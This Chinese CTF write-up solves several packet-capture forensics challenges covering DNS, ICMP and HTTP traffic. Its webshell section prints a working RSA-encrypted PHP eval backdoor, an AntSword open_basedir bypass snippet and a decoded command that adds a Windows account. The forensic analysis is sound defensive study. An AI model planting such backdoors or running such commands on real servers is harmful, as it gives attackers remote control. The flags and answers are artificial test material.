ARTICLE · INTELLIGENCE

战地情报 · 详情页

来自尧图项目组的一线实战观察与深度解析

好靶场流量分析题wp_1

好靶场流量分析题wp_1

前言:做了这个流量分析题,就来写写wp分享一下,记录一下过程吧awa,欢迎大家参考。

.pcap1

先试试过滤flag
http contains "flag"

好在数量很少,一眼就看到flag%7b之类的,提取出来
flag%7bjdk&token=w_6_wwwf%7&id=d
把参数值连接然后url编码既是flag

Dns

打开文件过滤观察dns的流量包

发现存在大量的xxx.seq-ob.cdn.xxx的流量包

通过过滤语句dns contains "cdn"

将流量包导出为csv

然后可以用ai 把这些hex按顺序拼接起来

得到:

504b0304140001006300ca82305cd68a3d37570000004400000008000b00666c61672e7478740199070001004145030800639c393fcfb4f685ae0c1f59ebcbb165e82cdc17a91727b19858f857d624686fc4ac890b0320f991721dec5567ff89688bc50256fc4d4ffe642e2449963c4ec4e4de4d73df78b5103a2cf3c2d1ba06be9649c26325d689504b01021400140001006300ca82305cd68a3d37570000004400000008000b0000000000800100000000666c61672e7478740199070001004145060000000001045030800504b000010041000000880000000000

用在线工具去hex转文件 Hex to file (binary) converter

得到文件,提示文件损坏不用管,但是需要密码

这里我们可以换回流量包搜索关键字,看看没有,比如pass,key,secret,发现都没有,试试放进随波逐流

用pass的base64值cGFzc去流量包搜索,找到密码的base64

Base64解密后就是压缩包的密码password123@qwe

流量分析1

分析icmp流量,查看到有这么一类数据包,内容为Packet 1:Value 102

猜测是Ascii,把类似数据提取出来

frame.len >= 47 && frame.len <= 48

利用工具CTF-NetA-V0.3.0提取icmp转data的数据
Packet 1: Value 102fFJBDeIMC1hBphJKlVkYmgysvMLPn9L1VjC9nLFYRiWt9VcE6rna2qDUTest data 9024Test data 6403Test data 9752Packet 2: Value 108Packet 3: Value 97Test data 5959Test data 9194Test data 8349Packet 4: Value 103qDG9Xwv2CmxisWUSyF7iFp4NEzes3Dof7sMuc1CypwEXGUuUOnaNi0BbQPacket 5: Value 123Test data 4638Test data 1655Test data 3214Packet 6: Value 115H79IzqXJqTD7uejKMtVPOJmcinBOMQlwOBTdXBe5EyFWTryRoS9muKV9say2GdugYHyzdymY2KJHwIAyaK9Packet 7: Value 97Test data 29688Yxts3XsMsyqO1CJYxmJvs5BWGpoNoYVwTest data 7453Test data 1710Packet 8: Value 110Packet 9: Value 106Test data 8576Test data 1205Test data 7760Packet 10: Value 105462LO3ZtUxog6tOfmrZlKLHOAayfGuMHFnjc6RtqfHhJx7yvpwWELBKHvp0S8KP1UKlBllTNUa18RIh2NN1elCEHrkWkPIK3JxWTCmigExAVIpXYBPacket 11: Value 117Test data 6560Test data 2378Test data 2737Packet 12: Value 45MNyDnLXvv4XozVCBjWNt5LI7QUW3SOPJ6I1dXbX3UlfINf0CirbIPsFbfPacket 13: Value 54Test data 4699Test data 8189Test data 2912Packet 14: Value 49Packet 15: Value 56Test data 4663Test data 7177HY8vEDTQSeOAzvW0QupHRVf4fEoEg1qdgbdKTest data 7163Packet 16: Value 48Packet 17: Value 45Test data 2488Test data 5178Test data 2771Packet 18: Value 1136FixJJks4dVrQOp9QEZKNtG7HyiEdPYejVAfguk5R16aXxMEqINob6ddZ2G1AnZ6vR2MyMZIwBuuXVcHzigkowy4zBU21Packet 19: Value 119Test data 3059C9N4rDm8LuO0HNtbNAJjd6uevwEoWFcJi4fUtAPipD7ITest data 9185Test data 2545Packet 20: Value 101Packet 21: Value 125

然后可以利用ai将数据按顺序提取Value值并转为字符串得到flag

flag{sanjiu-6180-qwe}


webshell流量分析1

1.黑客的 IP 地址是什么?

分析流量包,易得黑客ip为192.168.11.39

答案:192.168.11.39


2.黑客通过漏洞上传连接服务器的文件名字是什么?

首先定位到上传文件的数据包
http contains "uploads"

得到文件名为1768728211_696ca6939300d_san.php

答案:1768728211_696ca6939300d_san.php

3.黑客上传的 Webshell 用的什么工具连接?[小写英文]

可以尝试过滤antsword、behinder的base64值进行搜索
搜索字符串QW50U3dvcmQ=( AntSword的base64)
成功搜索到一些流量包

此外在上传的shell代码中出的@ini_set("display_errors", "0");@set_time_limit(0);这段代码为蚁剑的shell特征

答案:antsword(注意小写)


4.黑客利用什么漏洞来进行攻击?

A.SQL注入 B.文件上传 C.XXE D.反序列化漏洞

这题不用说选B

答案:文件上传

5.黑客连接 Webshell 的连接密码是什么?[明文]

见题目3解答过程
答案:shell


6.黑客连接 Webshell 后执行的第一条系统命令是什么?

分析上传的shell代码

<?php // 关闭所有错误报告,避免暴露敏感信息 @error_reporting(0); // 从POST请求中获取名为'shell'的参数数据 $data = @$_POST['shell']; // 检查是否收到了shell参数 if (isset($data)) { // 定义公钥(PEM格式),用于解密数据 $pk = <<<EOF -----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCd4MxZ+bp49Fy3KF/kfTUbOgaJ VQTKVbvAEtA+mdowqmPZUKaE2R6EKgBoFSPdifyTtVDj3WjEezSYFiYOZlYwEYT6 RhzwnmczKI/QKDq1+BUZqKF0FdyoQVJIo/3M5t+uBVswwlQ5l+eBo9fCdXqrI5xJ xib6Z/MRrAYtbLkykwIDAQAB -----END PUBLIC KEY----- EOF; // 获取公钥资源 $pk_res = openssl_pkey_get_public($pk); // 将接收到的数据按"|"分割成多个块 $chunks = explode("|", $data); $payload = ''; // 遍历每个数据块 foreach ($chunks as $chunk) { $decrypted = ''; // 对每个块进行base64解码,然后使用公钥解密 if (openssl_public_decrypt(base64_decode($chunk), $decrypted, $pk_res)) { // 将解密后的数据拼接到payload中 $payload .= $decrypted; } } // 执行解密后的PHP代码 eval($payload); } ?>

代码是一个利用RSA公钥加密通信的隐蔽Web后门程序,它通过POST请求接收经过Base64编码和RSA加密的多个数据块,使用内置的公钥进行解密后拼接成完整的PHP代码,最后通过eval函数执行,从而实现攻击者能够在服务器上远程执行任意代码、完全控制服务器的恶意目的。

在此代码中可以得到木马的连接密码为 shell


接下来分析第一个利用该shell的数据包 (No.16813)

分析请求参数中的shell参数值,需要解密,可利用已知的解密代码(既黑客上传的webshell)来进行解密读取命令
将post修改为get,方便测试,最后只输出命令代码,不执行。

<?php @error_reporting(0); $data = @$_GET['shell']; if (isset($data)) { $pk = <<<EOF -----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCd4MxZ+bp49Fy3KF/kfTUbOgaJ VQTKVbvAEtA+mdowqmPZUKaE2R6EKgBoFSPdifyTtVDj3WjEezSYFiYOZlYwEYT6 RhzwnmczKI/QKDq1+BUZqKF0FdyoQVJIo/3M5t+uBVswwlQ5l+eBo9fCdXqrI5xJ xib6Z/MRrAYtbLkykwIDAQAB -----END PUBLIC KEY----- EOF; $pk_res = openssl_pkey_get_public($pk); $chunks = explode("|", $data); $payload = ''; foreach ($chunks as $chunk) { $decrypted = ''; if (openssl_public_decrypt(base64_decode($chunk), $decrypted, $pk_res)) { $payload .= $decrypted; } } print "解密结果:".$payload; } ?>

测试第一个得到下面代码

@ini_set("display_errors", "0"); @set_time_limit(0); $opdir = @ini_get("open_basedir"); if ($opdir) { $ocwd = dirname($_SERVER["SCRIPT_FILENAME"]); $oparr = preg_split(base64_decode("Lzt8Oi8="), $opdir); @array_push($oparr, $ocwd, sys_get_temp_dir()); foreach ($oparr as $item) { if (!@is_writable($item)) { continue; } $tmdir = $item . "/.53182228080"; @mkdir($tmdir); if (!@file_exists($tmdir)) { continue; } $tmdir = realpath($tmdir); @chdir($tmdir); @ini_set("open_basedir", ".."); $cntarr = @preg_split("/\\\\|\//", $tmdir); for ($i = 0; $i < sizeof($cntarr); $i++) { @chdir(".."); } @ini_set("open_basedir", "/"); @rmdir($tmdir); break;

这段代码是一个用于绕过PHP安全限制的Webshell工具,它通过检测和利用可写目录来突破open_basedir限制,然后使用RSA公钥解密POST接收的加密数据并执行其中的恶意代码,最终将执行结果通过AES加密后输出,整个过程还包含了错误处理和输出编码功能,目的是在受限的服务器环境中隐蔽地执行任意PHP代码。


响应内容为
7bc68RTovcGhwc3R1ZHlfcHJvL1dXVy91cGxvYWRzCUM6RToJV2luZG93cyBOVCBXSU4tNUNOSENGQUlNUDkgMTAuMCBidWlsZCAyNjEwMCAoV2luZG93cyBTZXJ2ZXIgMjAxNikgQU1ENjQJQWRtaW5pc3RyYXRvcg==15b97d197

去掉前后缀:

cGhwc3R1ZHlfcHJvL1dXVy91cGxvYWRzCUM6RToJV2luZG93cyBOVCBXSU4tNUNOSENGQUlNUDkgMTAuMCBidWlsZCAyNjEwMCAoV2luZG93cyBTZXJ2ZXIgMjAxNikgQU1ENjQJQWRtaW5pc3RyYXRvcg==
base解码得到:

phpstudy_pro/WWW/uploads C:E: Windows NT WIN-5CNHCFAIMP9 10.0 build 26100 (Windows Server 2016) AMD64Administrator

可以通过该响应数据反推出命令为:whoami,并且为第一条执行的命令

答案:whoami


7.黑客通过 Webshell 上传的文件内容是什么?[2005????]

在第二的利用webshell的数据包中存在数据

利用hex转文件得到一个flag.zip文件,上面提示了密码前4为是2005

可以爆破得到密码为20050101
打开即可获取到文件内容


答案:flag{443302daf6e587bc1d358dbf7a91e9b5}


8.黑客创建系统的用户名字叫什么?

创建用户在Windows一般使用net user或net localgroup
可以尝试搜索net user对应的base64
bmV0IHVzZXI
发现流量包(No.17932)

提取对应命令的完整base64编码

Y2QgL2QgIkU6XFxwaHBzdHVkeV9wcm9cXFdXV1xcdXBsb2FkcyImbmV0IHVzZXIgaml1c2FuIEFkbWluQDEyMyAvYWRkJmVjaG8gNjhmYTZmJmNkJmVjaG8gYWJjYjE=

解码得到:

cd /d "E:\\phpstudy_pro\\WWW\\uploads"&net user jiusan Admin@123 /add&echo 68fa6f&cd&echo abcb1

答案:jiusan

将上面答案连接得到:
flag{192.168.11.39-1768728211_696ca6939300d_san.php-antsword-文件上传-shell-whoami-flag{443302daf6e587bc1d358dbf7a91e9b5}-jiusan}

md5加密得到flag

ICMP traffic

分析题目是关于icmp的,一般可能得隐藏信息有date数据部分、TTL协议、len、序列号等
放入CTF-NetA-V0.3.0分析,查看到在len部分有长度特别的几个,一般icmp流量包的长度有32、64、128、48、56、100等,而33和39不常见,但在数据中存在大量的33和39.故将数据提取出来,分析测试得33对应二进制0,39对应二进制1时,得到下面的二进制信息

01000011011011110110111001100111011100100110000101110100011101010110110001100001011101000110100101101111011011100111001100100000011011110110111000100000011001100110100101101110011001000110100101101110011001110010000001110100011010000110010100100000011001100110110001100001011001110010110000100000011101000110100001100101001000000110011001101100011000010110011100100000011010010111001100100000001000000111101001101100001100010100101100110001001000110100000101010011010100100010011000100101001000110011110000110111011010000110011000111111010110100011100100110011010100010111100100100110011101010010110001001110011011000100100001110001010011100011100001100100011011000010100101011101011110100110111100110010011010100011010101000011001101010011110100111101010100100011100001010000011000010010101001101100010110000110100001100001011000000111111000110101010000110101000001010110011011000111001001011101011001010111000101001011001101010011000101100110010000010011001100111110011101010101011001010100010000100101110101111001011110000011110101100010001111100011011100111001001100110110000100110111001001010010101000100101010100000101010001100101001111010101100101110000011011010010001000101111001011110100011101110110001010110111000000111011001110110011011101011101001110100111001101110111011001110110010101000101010100110011100001100100010001110111001001000001

二进制解码得到字符串:


zl1K1#ASR&%#<7hf?Z93Qy&u,NlHqN8dl)]zo2j5C5==R8Pa*lXha`~5CPVlr]eqK51fA3>uVTB]yx=b>793a7%*%PTe=Ypm"//Gv+p;;7]:swgeES8dGrA

放入随波逐流解码(base91->base64)得到flag

RELATED READING

延伸阅读

更多一线实战笔记与深度复盘,助您持续精进